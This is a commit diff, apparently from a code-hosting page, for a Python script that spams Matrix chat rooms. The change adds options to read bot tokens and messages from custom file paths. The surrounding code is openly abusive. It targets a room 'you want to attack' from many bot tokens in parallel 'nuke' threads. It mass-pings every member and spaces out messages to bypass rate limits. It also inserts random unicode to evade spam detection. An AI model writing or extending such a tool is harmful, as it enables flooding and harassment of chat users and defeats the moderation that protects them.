Added custom paths for tokens/message files.
This commit is contained in:
parent
2d8de3232f
commit
f75fec04d3
|
@ -43,6 +43,8 @@ print("")
|
|||
parser = argparse.ArgumentParser(description='Simple Python script to spam Matrix rooms. The author is not liable for misuse. View the README for more information. This script is licensed under the GNU GPLv3 license.')
|
||||
parser.add_argument('-hs', '--home-server', required=True, type=str, help='Specify the homeserver of the bots. Example: https://matrix.org [REQUIRED]')
|
||||
parser.add_argument('-id', '--room-id', required=True, type=str, help='Specify the ID of the room you want to attack. Example: !XXXXXXX:matrix.org [REQUIRED]')
|
||||
parser.add_argument("-mf", "--message-file", required=True, help="Specify the file location of the txt file that contains your messages. Example: /home/user/messages.txt [REQUIRED]")
|
||||
parser.add_argument("-tf", "--token-file", required=True, help="Specify the file that contains your tokens. Example: /home/user/tokens.txt [REQUIRED]")
|
||||
parser.add_argument("-s", "--sleep", type=float , help="Set the time between each sent message. Useful for bypassing API rate limits. The default is 0.5. Example: 0.5")
|
||||
parser.add_argument("-pa", "--ping-attack", action='store_true', help='Send @pings to every member of the room you are attacking along with your custom messages. Not recommended for servers with 900-1200+ users.')
|
||||
parser.add_argument("-pac", "--ping-attack-counter", action='store_true', help='Same as --ping-attack except it puts a random unicode string to evade spam detection.')
|
||||
|
@ -52,6 +54,10 @@ if args.home_server:
|
|||
home_server = args.home_server
|
||||
if args.room_id:
|
||||
room_id = args.room_id
|
||||
if args.message_file:
|
||||
message_file = args.message_file
|
||||
if args.token_file:
|
||||
token_file = args.token_file
|
||||
if args.sleep:
|
||||
sleep = args.sleep
|
||||
else:
|
||||
|
@ -124,12 +130,12 @@ def nuke_thread(token):
|
|||
print(colored("[Warn] 403. Unable to access room.", 'red',))
|
||||
pass
|
||||
|
||||
with open('messages.txt', 'r', encoding='utf-8') as file:
|
||||
with open(message_file, 'r', encoding='utf-8') as file:
|
||||
texts = file.read().split(',')
|
||||
|
||||
while True:
|
||||
if wordlist_countermeasure == True:
|
||||
with open('messages.txt', 'r', encoding='utf-8') as file_wordlist_countermeasure:
|
||||
with open(message_file, 'r', encoding='utf-8') as file_wordlist_countermeasure:
|
||||
lines = file_wordlist_countermeasure.read().split(',')
|
||||
for i in range(len(lines)):
|
||||
lines[i] = wordlist_countermeasure_changer(lines[i].strip())
|
||||
|
@ -166,7 +172,7 @@ def nuke_thread(token):
|
|||
|
||||
# Main
|
||||
def main():
|
||||
with open('tokens.txt', 'r') as file:
|
||||
with open(token_file, 'r') as file:
|
||||
tokens = file.read().split(',')
|
||||
|
||||
threads = []
|
||||
|
|
Loading…
Reference in New Issue